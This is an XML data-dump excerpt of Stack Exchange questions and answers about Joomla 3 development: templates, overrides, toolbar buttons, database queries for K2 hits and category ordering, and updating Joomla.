  <row Id="18128" PostTypeId="1" AcceptedAnswerId="18129" CreationDate="2016-10-17T15:04:00.880" Score="1" ViewCount="158" Body="&lt;p&gt;I'm looking to add a header to the 2 pages we have with Category Blog pages.   I want to add an RSS button to subscribe to these pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight on how I can add this without hacking the core Joomla Files.&lt;/p&gt;&#xA;" OwnerUserId="7700" LastActivityDate="2016-10-17T18:47:01.300" Title="Add header to Category Blog Menu Item" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18129" PostTypeId="2" ParentId="18128" CreationDate="2016-10-17T18:47:01.300" Score="3" Body="&lt;p&gt;There are some really simple ways to do this.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Create a module position in your template file&lt;/strong&gt;, then create a custom module with your RSS button and assign it to the module position but only on those pages. Using RegularLabs / NoNumber can make this incredibly simple.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Create a joomla override&lt;/strong&gt; (not a core hack) of the category blog content and add your module directly into the category blog page layout. Then just create your custom module as a matching header. It will only ever show up here.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Add your RSS button to the category blog description&lt;/strong&gt; (in the Content area) then set your category blog to show the description.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastActivityDate="2016-10-17T18:47:01.300" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18131" PostTypeId="1" CreationDate="2016-10-18T06:11:09.080" Score="3" ViewCount="186" Body="&lt;p&gt;I have the article Show Title set to hidden at the global article options. However, when the articles display on menu link (tagged items) the article titles are shown. Please advise, thank you.&lt;/p&gt;&#xA;" OwnerUserId="9160" LastEditorUserId="9160" LastEditDate="2016-10-19T13:59:03.190" LastActivityDate="2018-12-15T10:03:25.680" Title="Hide article titles on Tagged Items" Tags="|joomla-3.x|articles|tags|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18135" PostTypeId="2" ParentId="18116" CreationDate="2016-10-19T06:04:45.100" Score="0" Body="&lt;p&gt;JInput should replace the old JRequest only. It is used to retrieving any request data. I cannot agree with &quot;using JInput class as opposed to 'method=&quot;post&quot;' in forms. You'll find best practice in the sources of joomla core.&lt;/p&gt;&#xA;" OwnerUserId="7023" LastActivityDate="2016-10-19T06:04:45.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18136" PostTypeId="1" AcceptedAnswerId="18138" CreationDate="2016-10-19T06:30:05.827" Score="1" ViewCount="149" Body="&lt;p&gt;I am new to joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have logged in to &lt;code&gt;https://www.joomla.com/my&lt;/code&gt;  and clicked the &lt;code&gt;Access Admin&lt;/code&gt; on my respective site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to install a new template and i was instructed to install new template on extension manager, but extension manager is not showing for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i searched in internet, it get to know i dont have super administrator rights?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to login as super user in joomla to install my template?&lt;/p&gt;&#xA;" OwnerUserId="9229" LastEditorUserId="120" LastEditDate="2016-11-07T23:08:58.197" LastActivityDate="2016-11-07T23:08:58.197" Title="How to login to joomla.com as a super adminstrator?" Tags="|administrator|installation|joomla.com|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18137" PostTypeId="1" AcceptedAnswerId="18140" CreationDate="2016-10-19T06:31:36.257" Score="1" ViewCount="80" Body="&lt;p&gt;I am doing bug fixes on already done Joomla project and I am a novice to Joomla. The issue is with the JToolBarHelper addNew button. We have two components- order and register. Both uses the add and edit buttons in front end.&#xA;The function written for both component seems same in the view file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function addToolBar()&#xA;    {&#xA;        if ($this-&amp;gt;canDo-&amp;gt;get('core.create')) &#xA;        {&#xA;            JToolBarHelper::addNew('form.add', '_NEW');&#xA;        }&#xA;        if ($this-&amp;gt;canDo-&amp;gt;get('core.edit')) &#xA;        {&#xA;            JToolBarHelper::editList('form.edit', '_EDIT');&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For registration, both buttons works fine. On clicking add button it will go to page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.test.net/index.php?option=com_register&amp;amp;view=form&amp;amp;layout=test&amp;amp;lang=en&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I also need to know is how this addNew function parameter works. Why it goes to the the layout test (which is correct in case of register layout). Is there something I miss?&#xA;My real problem is, when I click on the add button in register, it goes to url with same params as above which is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.test.net/index.php?option=com_order&amp;amp;view=form&amp;amp;layout=test&amp;amp;lang=en&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and cause error that layout is missing. &lt;br&gt;&lt;br&gt;&#xA;Note: layout file &quot;test&quot; is there in register component but not in order.&lt;/p&gt;&#xA;" OwnerUserId="9161" LastActivityDate="2016-10-19T09:44:34.443" Title="Using addtoolbar in two components with same parameter" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18138" PostTypeId="2" ParentId="18136" CreationDate="2016-10-19T06:47:27.380" Score="4" Body="&lt;p&gt;In your case,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla.com doesn't give super user permissions and there is limited access to everything. You cannot install any extension or template. You have to use the pre-defined template the one you chose during launching your website in &lt;code&gt;joomla.com&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Refer this for more:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://tutorials.joomla.com/no-category/34-joomla-com-admin&quot; rel=&quot;nofollow&quot;&gt;http://tutorials.joomla.com/no-category/34-joomla-com-admin&lt;/a&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-10-19T06:47:27.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18140" PostTypeId="2" ParentId="18137" CreationDate="2016-10-19T09:44:34.443" Score="1" Body="&lt;p&gt;You need to add the layout 'test' in the &lt;code&gt;order&lt;/code&gt; component as well in the location : &lt;code&gt;com_orders/views/form/tmpl/test.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, this error will not be given. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, the &lt;code&gt;addNew&lt;/code&gt; function works like following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;In view.html.php:&lt;/strong&gt; the addNew is a method defined in the core file of Joomla located in &lt;code&gt;administrator/includes/toolbar.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Refer for more: &lt;a href=&quot;https://docs.joomla.org/JToolBarHelper&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/JToolBarHelper&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here, the first parameter is the controller name and the method defined in that controller. Like in your code, &lt;code&gt;form&lt;/code&gt; is the controller name and &lt;code&gt;add&lt;/code&gt; is the task/function defined in it.&#xA;Well, &lt;code&gt;add and edit&lt;/code&gt; are core tasks so it is not necessary that they might be present in your controller file. It is taken by default. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;In controller.php:&lt;/strong&gt; The add function is present which is known as task and it directs you to the page where a form from where user can submit a new record in the database.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Refer here for details on tasks and controllers: &lt;a href=&quot;https://docs.joomla.org/JController_and_its_subclass_usage_overview&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/JController_and_its_subclass_usage_overview&lt;/a&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-10-19T09:44:34.443" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18141" PostTypeId="1" AcceptedAnswerId="18142" CreationDate="2016-10-19T10:59:59.957" Score="2" ViewCount="391" Body="&lt;p&gt;I have a requirement where I want to show the total number of hits that a user's items have been read. For example, if they have ten K2 items, each have been read 10 times, then I want to show the total number (in this case 100) of hits that users total items have been read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;K2 has a variable, which I can echo for each of the items:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $item-&amp;gt;hits; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I need a way to add all of the authors items hits up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** Update **&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm thinking, could this be done using a SQL query? Something similar to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT count('hits') FROM #__k2_items WHERE authorid='id';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2016-10-19T12:33:05.277" LastActivityDate="2016-10-19T14:27:05.590" Title="K2 User show total number of Item hits" Tags="|joomla-3.x|php|k2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18142" PostTypeId="2" ParentId="18141" CreationDate="2016-10-19T12:36:53.370" Score="1" Body="&lt;p&gt;This should be what you need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;qn('hits'))&#xA;      -&amp;gt;from($db-&amp;gt;qn('#__k2_items'))&#xA;      -&amp;gt;where($db-&amp;gt;qn('created_by') . ' = ' . $db-&amp;gt;q($this-&amp;gt;user-&amp;gt;id));&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&#xA;$sum = 0;&#xA;foreach ($results as $key =&amp;gt; $val)&#xA;{&#xA;    $sum+= $val-&amp;gt;hits;&#xA;}&#xA;&#xA;echo number_format($sum);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simple database query that returns that hits for all articles created by the author of the current article being views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It that adds each of the values in a &lt;code&gt;foreach&lt;/code&gt; loop and displays the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps :)&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-10-19T14:27:05.590" LastActivityDate="2016-10-19T14:27:05.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18143" PostTypeId="1" CreationDate="2016-10-19T14:09:57.943" Score="1" ViewCount="91" Body="&lt;p&gt;I have a problem with long article titles at my homepage. &lt;a href=&quot;https://i.stack.imgur.com/WAPNV.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/WAPNV.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to condense it to one-line by putting the HTML/CSS code in plugins like sourcerer or rokcandy, however it causes a problem - HTML code is sent too for head's &gt;title&amp;lt; and &gt;meta&amp;lt; tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a &quot;jm-lifestyle&quot; template which shows 9 articles at homepage. Sadly, every element has the same class, so I'm trying to add different classes for all of them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the path of php file which shows the title&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;components\com_content\views\featured\tmpl\default_item.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($params-&amp;gt;get('show_title')) : ?&amp;gt;&#xA;&amp;lt;h2 class=&quot;item-title&quot; itemprop=&quot;name&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I'm trying to add a different class of h2 by this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;foreach (range('a', 'i') as $letter);&#xA;?&amp;gt;&#xA;&amp;lt;h2 class=&quot;item-title_&amp;lt;?php echo $letter  ?&amp;gt;&quot; itemprop=&quot;name&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However it makes item-title_i everywhere. I'm not really familiar with php, could you help me how to get another letter in all nine paragraphs? It's important to being not random. I would like them to stay alphabetically (or just the same everytime), so I could make different CSS classes for them. Unless, maybe you have easier way to solve it.&lt;/p&gt;&#xA;" OwnerUserId="9170" LastEditorUserId="3650" LastEditDate="2016-11-07T20:09:52.560" LastActivityDate="2017-01-06T20:22:18.010" Title="Add a different class to each item" Tags="|php|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18144" PostTypeId="2" ParentId="18087" CreationDate="2016-10-19T15:18:31.573" Score="1" Body="&lt;p&gt;Looking at the router implementation of com_jumi here &lt;a href=&quot;https://github.com/BonavalMultimedia/com_jumi/blob/master/com_jumi_bnvl/router.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/BonavalMultimedia/com_jumi/blob/master/com_jumi_bnvl/router.php&lt;/a&gt; for me it seems it doesn't handle extra parameters when sef is on (see JumiParseRoute function).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to modify this function to check for your extra parameters and add them to the &lt;code&gt;$vars&lt;/code&gt; array, so they will be available using &lt;code&gt;JInput&lt;/code&gt; or &lt;code&gt;JRequest&lt;/code&gt; if you are on Joomla versions before 3.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check the parameters, simply look if they are defined in the &lt;code&gt;$segments&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see if you have a &lt;code&gt;category&lt;/code&gt; , a &lt;code&gt;place&lt;/code&gt; or both you need to determine your own criteria or store the possible values anywhere you can check for sure which value 'type' is in every segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;: my criteria is that URLs will always be jumi/category/place . Then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$vars['category'] = $segments[1];&#xA;$vars['place'] = $segments[2];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, you must check that &lt;code&gt;$segment&lt;/code&gt; indexes are defined and do whatever checking you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you will want to produce SEF urls when creating the routes. Then you should modify the &lt;code&gt;JumiBuildRoute&lt;/code&gt; function to follow your criteria.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Alternative to edit code&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you don't want to edit the routing code of the component then use an URL like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.mysite.com/jumi-script?category=mycat&amp;amp;place=myplace&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to get your script. Now, both values should be accessible through &lt;code&gt;JInput&lt;/code&gt; or &lt;code&gt;JRequest&lt;/code&gt; on older Joomla versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards, &lt;/p&gt;&#xA;" OwnerUserId="160" LastEditorUserId="160" LastEditDate="2016-10-19T22:38:23.677" LastActivityDate="2016-10-19T22:38:23.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18145" PostTypeId="2" ParentId="17835" CreationDate="2016-10-19T16:26:17.337" Score="0" Body="&lt;p&gt;The best approach for you will be to manually update Joomla!. You can do this by following these steps:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Before updating, always take a backup and don’t forget to test it.&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download the update package from &lt;a href=&quot;https://www.joomla.org/download.html&quot; rel=&quot;nofollow&quot;&gt;https://www.joomla.org/download.html&lt;/a&gt; (Latest is currently &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Update_Package.zip&quot; rel=&quot;nofollow&quot;&gt;3.6.3 Update Package&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Extract the download package on your computer&lt;/li&gt;&#xA;&lt;li&gt;Using your favorite FTP software, upload the folders and files at the root of the website or in the folder where your Joomla! installation is located. (&lt;strong&gt;NOTE:&lt;/strong&gt; If you are using &lt;a href=&quot;https://filezilla-project.org/&quot; rel=&quot;nofollow&quot;&gt;Filezilla&lt;/a&gt;, click on &quot;Replace&quot; for all, if you are using &lt;a href=&quot;https://winscp.net/eng/download.php&quot; rel=&quot;nofollow&quot;&gt;WinSCP&lt;/a&gt;, click on upload and then allow override for all. The FTP software will overwrite the existing files and add the new ones.)&lt;/li&gt;&#xA;&lt;li&gt;Log in to your Joomla! Administrator panel and go to &lt;strong&gt;Extensions → Manage → Database&lt;/strong&gt; and select the &lt;strong&gt;Fix&lt;/strong&gt; button on the top left.&lt;/li&gt;&#xA;&lt;li&gt;Go within the manage section to Discover menu item in the left menu and click the &lt;strong&gt;Discover&lt;/strong&gt; button. Select only the &lt;strong&gt;Joomla! CORE extensions&lt;/strong&gt; shown in the list and click the &lt;strong&gt;Install&lt;/strong&gt; button. &lt;strong&gt;(NOTE: do not select installation for the 3rd party extensions you may have installed)&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;In the main menu of your administrator panel, go to &lt;strong&gt;System → Clear Cache&lt;/strong&gt; and if any rows are shown, select them and click the &lt;strong&gt;Delete&lt;/strong&gt; button at the top left.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Sources: &lt;a href=&quot;https://docs.joomla.org/J3.x:Upgrading_from_Joomla_3.4.x_to_3.5&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Upgrading_from_Joomla_3.4.x_to_3.5&lt;/a&gt;, &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/tag/3.6.3&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/releases/tag/3.6.3&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-10-19T16:26:17.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18146" PostTypeId="2" ParentId="18143" CreationDate="2016-10-20T00:26:14.717" Score="1" Body="&lt;p&gt;Your output needs to be within the foreach loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;foreach (range('a', 'i') as $letter) {&#xA;?&amp;gt;&#xA;&amp;lt;h2 class=&quot;item-title_&amp;lt;?php echo $letter  ?&amp;gt;&quot; itemprop=&quot;name&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you do update default_item.php then make sure you override it in your template. Never override core files or changes are likely to be lost when you patch the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the simplest solution would actually to use the nth-child selector in CSS.  I don't think you actually need to update the HTML to achieve what you are trying to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, your question seems to suggest a fundamental design mistake, and trying to solve it with code could come back to bite you.  A CMS should be dynamic and handle various sizes of content - if you are writing new code each time you add an article, then it is not working as a CMS.  Any aesthetic design decision that harms usability isn't a good design choice.  Having titles not line up really isn't going to bother any user as long as all the text is skim-readable and clear.  If the lack of vertical alignment really bothers, have them in a single column rather than two columns.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to get too much vertical alignment in the days of responsive design seems a waste of time.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-10-20T00:26:14.717" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18147" PostTypeId="1" AcceptedAnswerId="18148" CreationDate="2016-10-20T05:36:02.970" Score="1" ViewCount="148" Body="&lt;p&gt;I am eager to know where we set the layout value in joomla. When I used the code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;input-&amp;gt;get('layout', 'edit', 'string');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am getting a value, which I dont know from where it comes. Will it takes value from database or code part itself?&#xA;I wrote this code in JControllerForm class, in which I am troubleshooting a layout issue by tracing the code.&lt;/p&gt;&#xA;" OwnerUserId="9161" LastEditorUserId="3650" LastEditDate="2016-11-07T19:54:00.987" LastActivityDate="2016-11-07T19:54:00.987" Title="Where do we set layout value in Joomla" Tags="|joomla-3.x|layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18148" PostTypeId="2" ParentId="18147" CreationDate="2016-10-20T05:43:39.930" Score="3" Body="&lt;p&gt;The above code will try to get the layout value from request parameter &quot;layout&quot;. If there is no request parameter found, it will use the default value which is &quot;edit&quot;. If you want to override the default value, send &quot;layout&quot; parameter as part of your request parameter. It could be a hidden field in your form.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2016-10-20T05:43:39.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18150" PostTypeId="1" CreationDate="2016-10-20T11:28:51.407" Score="1" ViewCount="44" Body="&lt;p&gt;I've been looking into conservative caching recently and felt I'd got my head around it.  However, when I added it to a site, I was surprised to see that the core component com_content caches forms.  I had assumed that due to form tokens that this would not be a possible thing to do, and so had left any bespoke form modules not using caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cached content definitely includes the old form token, but the form still works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this the case?&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="12352" LastEditDate="2019-11-16T22:55:40.047" LastActivityDate="2019-11-16T22:55:40.047" Title="How does com_contact caching work when it has a form token?" Tags="|component|form|cache|security-token|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18152" PostTypeId="1" AcceptedAnswerId="18153" CreationDate="2016-10-21T07:22:12.337" Score="5" ViewCount="918" Body="&lt;p&gt;In my Joomla project, I have one main category which contains a few subcategories.&#xA;I have rearranged the ordering in the backend by drag and drop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I query the database to check the ordering?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$sql = &quot;select c2.* from #__categories c, #__categories c2&#xA;where c.id={$catid} and c.lft&amp;lt;c2.lft and c2.rgt&amp;lt;c.rgt&quot;;&#xA;$db-&amp;gt;setQuery($sql);&#xA;$categories = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using this code to get all subcategories, but I'm not able to arrange them by order like I had done in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had a look, but there is no ordering column in the categories table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So where Joomla is storing the &lt;em&gt;ordering&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="12352" LastEditDate="2018-08-06T08:55:59.813" LastActivityDate="2018-08-06T08:55:59.813" Title="How to query the categories table and get a resultset with my stored order?" Tags="|joomla-3.6|category|subcategories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18153" PostTypeId="2" ParentId="18152" CreationDate="2016-10-21T07:44:10.733" Score="3" Body="&lt;p&gt;In &lt;code&gt;#__categories&lt;/code&gt; table ordering field is named as &lt;code&gt;lft&lt;/code&gt;. So, this column saves the ordering of the categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to look more into code side then you can see:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;administrator/components/com_categories/models/categories.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And check the function &lt;code&gt;populateState()&lt;/code&gt;, there ordering is defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your query, you just need to add an order by clause and modify it like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = &quot;select c2.* from #__categories c, #__categories c2 where c.id={$catid} and c.lft&amp;lt;c2.lft and c2.rgt&amp;lt;c.rgt order by c.lft&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-10-21T07:44:10.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18154" PostTypeId="1" CreationDate="2016-10-21T23:25:36.170" Score="0" ViewCount="18" Body="&lt;p&gt;I found this snippet of code and I've managed to include this in my &quot;handle posts&quot; code so I expect to see points added to my profile each time a &quot;add a trail&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    include_once JPATH_ROOT . '/components/com_community/libraries/core.php';&#xA;    include_once JPATH_ROOT . '/components/com_community/libraries/userpoints.php';&#xA;    CuserPoints::assignPoint('trail.add');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone have any idea why this isn't working?&lt;/p&gt;&#xA;" OwnerUserId="8550" LastActivityDate="2016-10-27T12:46:25.583" Title="CuserPoints not working" Tags="|jomsocial|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18155" PostTypeId="1" AcceptedAnswerId="18170" CreationDate="2016-10-22T09:12:11.467" Score="0" ViewCount="926" Body="&lt;p&gt;I'm trying to update my installed Joomla! 3.6.2 to 3.6.3 using the update tool provided. On doing so I seem to hit the php Memory limit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 8912897 bytes) in /$PATH/www/libraries/joomla/utilities/buffer.php on line 104&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm hosting on a shared hoster (all-inkl.com) and tried to increase Memory limit by putting &lt;code&gt;ini_set('memory_limit','256M');&lt;/code&gt; into my index.php an /administrator/index.php. Both did not seem to change anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried updating as described in the &lt;a href=&quot;https://docs.joomla.org/J3.x:Updating_Joomla_(Install_Method)&quot; rel=&quot;nofollow&quot;&gt;joomla doc&lt;/a&gt; but &lt;em&gt;Install from URL&lt;/em&gt; and &lt;em&gt;Upload a Package&lt;/em&gt; also run into the memory limit.&#xA;The &lt;em&gt;Install from directory&lt;/em&gt; method complains that &quot;Path leeds to invalid packet&quot; (&quot;Der Pfad führt zu keinem gültigen Paket!&quot;) and &quot;Warning: Joomla! Packet cannot be installed like an extension, please use update component.&quot; (&quot;Das Joomla!-Paket kann nicht wie andere Erweiterungen installiert werden. Hierfür muss die Joomla!-Aktualisierungskomponente genutzt werden.&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which other updating option do I have?&lt;/p&gt;&#xA;" OwnerUserId="9178" LastEditorUserId="9178" LastEditDate="2016-10-22T15:21:21.133" LastActivityDate="2016-10-24T11:29:38.053" Title="Update to 3.6.3: hitting php memory limit" Tags="|php|update|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18157" PostTypeId="2" ParentId="18058" CreationDate="2016-10-22T14:38:53.593" Score="0" Body="&lt;p&gt;Many thanks for recommendation re favslider! I havent made much use of carousels in the past as every site seems to use them on home pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw smartslider 3 seems pretty handy (in case you've not tried it). The only thing thats put me off using it is some of the preprogrammed animations arent predictable on responsive sites (e.g. position wise). Great component nonetheless, oodles of features to animate slides just happened to be a bit too complicated for my end user&lt;/p&gt;&#xA;" OwnerUserId="9113" LastActivityDate="2016-10-22T14:38:53.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
